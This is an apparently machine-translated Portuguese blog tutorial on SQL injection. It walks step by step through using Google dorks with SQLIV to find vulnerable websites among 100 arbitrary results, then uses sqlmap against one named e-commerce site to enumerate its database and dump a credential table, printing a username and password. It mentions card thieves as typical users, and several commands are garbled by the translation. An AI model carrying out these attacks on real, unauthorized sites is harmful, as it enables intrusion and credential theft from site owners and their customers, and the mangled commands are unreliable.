Injeção SQL com Kali Linux

Injeção SQL com Kali Linux
O uso de bancos de dados para vários gerenciamento de armazenamento de dados aumenta muito no desenvolvimento de aplicativos da web à medida que o tempo passa. O banco de dados facilita a interação entre usuários e servidores. O banco de dados (ou em termos de sistema de gerenciamento de banco de dados abreviado para DMBs) fornece vários benefícios, incluindo entrada e armazenamento de dados, recuperação de grandes informações e facilidade de compilação e agrupamento de informações.

Mas, além da facilidade e dos recursos que o banco de dados oferece, bem como os muitos usos dos bancos de dados no mundo da informação e tecnologia, especialmente no desenvolvimento de um site. Pentesters e hackers incessantemente estão tentando encontrar uma lacuna na segurança do banco de dados. Isso é confirmado pelo relatório emitido por pesquisadores positivos de tecnologias, centros de pesquisa de segurança da informação na Europa, no segundo trimestre de 2017, os 10 principais ataques de aplicativos da web foram dominados por scripts cruzados de 39.1% e injeção de SQL de 24.9%. Tecnologias positivas disseram que o relatório no segundo trimestre não é muito diferente do primeiro trimestre.

figura 1. Os 10 principais ataques de aplicativos da web (origem PTSecurity.com)

Isso é interessante e preocupante, porque em um banco de dados há muitas informações como contas de credenciais (administrador e usuário), detalhes de informações financeiras (como cartões de crédito, contas bancárias etc.) e assim por diante. Além disso, para fazer ataques de injeção de SQL nem sempre exige recursos de injeção de especialistas, no sentido, as crianças podem fazer isso. Porque existem muitos aplicativos gratuitos capazes de executar a injeção de SQL automaticamente, como o SQLMAP. O SQLMAP é um aplicativo de código aberto para atividades de teste de penetração que visa realizar ataques de injeção de SQL em um furo de segurança do banco de dados automaticamente. Aqui vou mostrar como fazer injeção de SQL usando o SQLMAP em Linux Kali. Não são necessários recursos especiais, mas valerão mais se você dominar uma linguagem de script ou tecnologia de banco de dados SQL.

Este tutorial é recomendado para aqueles que são novos na injeção de SQL em Kali Linux, apenas por diversão ou que desejam ver como a injeção de SQL funciona. Não é recomendado para aqueles que já são testadores de penetração altamente qualificados.


Oi, eu sou Bimando, o autor deste artigo. Se você gosta deste artigo, dê uma olhada em comprar meu livro Hacking ético prático: para testadores de penetração com Kali Linux. Eu trabalhei duro com a equipe de dica do Linux para produzir um produto de alta qualidade, eu sei que você vai adorar e aprender muito.


Injeção SQL usando SQLMAP no Kali Linux

Antes de estarmos fazendo o ataque de injeção, é claro que devemos garantir que o servidor ou o destino tenha um furo de segurança do banco de dados. Para encontrar orifícios de segurança do banco de dados, existem vários métodos que podemos usar. Entre eles, o Google Dorking, é usado principalmente por testadores de hackers e penetração. Felizmente, há uma ferramenta capaz de fazer isso automaticamente. Mas temos que instalar sua ferramenta primeiro. A ferramenta é chamada SQLIV (scanner de vulnerabilidade de injeção SQL).

Etapa 1: Instale o SQLIV no Kali Linux

Digite os comandos abaixo no seu terminal para instalar o SQLIV:

~# clone git https: // github.com/hadesy2k/sqliv.git
~# cd sqliv && sudo python2 configuração.py -i

Depois que o SQLIV é instalado em seu Kali Linux, ele é armazenado no caminho /usr/bin/sqliv. Que, você pode ligar diretamente do terminal, digitando 'sqliv'. Agora vamos dar uma olhada nos recursos do SQLIV.

Etapa 2: Encontrando vulnerabilidades de injeção de SQL

Usaremos o Google Dorking para digitalizar e encontrar o orifício de injeção do SQL em alvos. Vamos pegar um idiota simples e deixar o SQLIV escanear todos os alvos e procurar uma vulnerabilidade de comércio eletrônico no seguinte padrão de URL 'item'.php?id = '. Para encontrar outros padrões, apenas no Google para "Google Dork List".

~# sqliv -d inurl: item.php?id = -e google -p 100

Por padrão, o SQLIV rastejará a primeira página no mecanismo de pesquisa, que no Google 10 sites por página. Assim, aqui definimos argumentos -p 100 Para rastejar 10 páginas (100 sites). Com base no idiota dado acima, obtivemos o resultado de URLs vulneráveis ​​que se parecem com o seguinte:

Encontramos oito dos cem URLs digitalizados e considerados vulneráveis ​​contra o ataque de injeção de SQL. Salve os URLs no editor de texto para mais etapas.

Etapa 3: Injeção de SQL usando SQLMAP

Uma vez que recebemos pelo menos um alvo vulnerável de injeção de SQL, em seguida, executamos o ataque usando o SQLMAP. Eu tomo um deles para ser uma amostra aqui. Em primeiro lugar, precisamos revelar o nome do banco de dados, dentro do banco de dados tem tabelas e colunas, que contêm os dados.

Alvo URL : http: // www.ACFURNITRA.com/item.php?id = 25

A. Enumerar o nome do banco de dados:

Padrão de comando:

~# sqlmap -u "URL alvo" -dbs
-u / --url: URL de destino
--DBS: Enumere o nome do banco de dados/s

Então, o comando compilado seria assim:

~# sqlmap -u “http: // www.ACFURNITRA.com/item.php?id = 25 ” - -DBS

Do comando acima, o resultado deve ser assim

Temos o nome do banco de dados “ACFURNITRA”.

B. Enumere o nome das tabelas

Padrão de comando:

~# sqlmap -u

Então, o comando compilado é assim:

~# sqlmap -u "http: // www.ACFURNITRA.com/item.php?id = 25 "-d Acfurniture -Tables

O resultado deve ser assim:

Até agora, podemos concluir que o arranjo dos dados é: o site ACFURNITRA.com tem dois bancos de dados, ACFURNITRA e Information_schema. O banco de dados nomeado ACFURNITRA Contém quatro tabelas: Categoria, Produto, Product_hacked, e configurações. Não há nome de tabela comprometido, mas vamos investigar mais. Vamos ver o que está dentro configurações mesa. Dentro da tabela está na verdade, existem colunas e os dados.

C. Enumerar colunas

Padrão de comando:

~# sqlmap -u

Então, o comando compilado é assim:

~# sqlmap -u "http: // www.ACFURNITRA.com/item.php?id = 25 "-d Acfurniture -t Configurações -colunas

A saída deve ser assim:

O configurações Tabela consiste em 6 colunas, E esta é realmente uma conta de credencial. Vamos despejar esses dados.

D. Dump dados

Padrão de comando:

~# sqlmap -u

Então, o comando compilado é assim:

~# sqlmap -u "http: // www.ACFURNITRA.com/item.php?id = 25 "-d Acfurniture -t Configurações -C Nome de usuário, senha -Dump

Ou você também pode despejar todos os dados dentro da tabela, usando comando:

~# sqlmap -u "http: // www.ACFURNITRA.com/item.php?id = 25 "-d Acfurniture -t Configurações - -dump

A saída deve ser assim:

E-mail : [email protected]
Nome de usuário : Bonito
Senha : 9hpko2nkrhbgmywzizxui

Tudo bem, acabamos de despejar dados no banco de dados usando injeção SQL. Nossas próximas tarefas são, para encontrar o porta ou painel de administrador, página de login do administrador nos sites de destino. Antes de fazer isso, verifique se essa senha (9hpko2nkrhbgmywzizxui) está criptografada ou não, se assim for, então precisamos descriptografar primeiro. Esse é outro tópico, rachando e descriptografando.

Mesmo aqui, na verdade, não estamos invadindo o site de destino, pelo menos aprendemos muito sobre a injeção de SQL usando o SQLMAP no Kali Linux facilmente e despejamos a conta de credenciais. Essa técnica é usada principalmente por Carder (hacker que está procurando uma conta de cartão de crédito em sites de comércio eletrônico) que visam sites financeiros, bancários, compras ou comércio eletrônico que armazenam suas informações de cartão de crédito de usuário.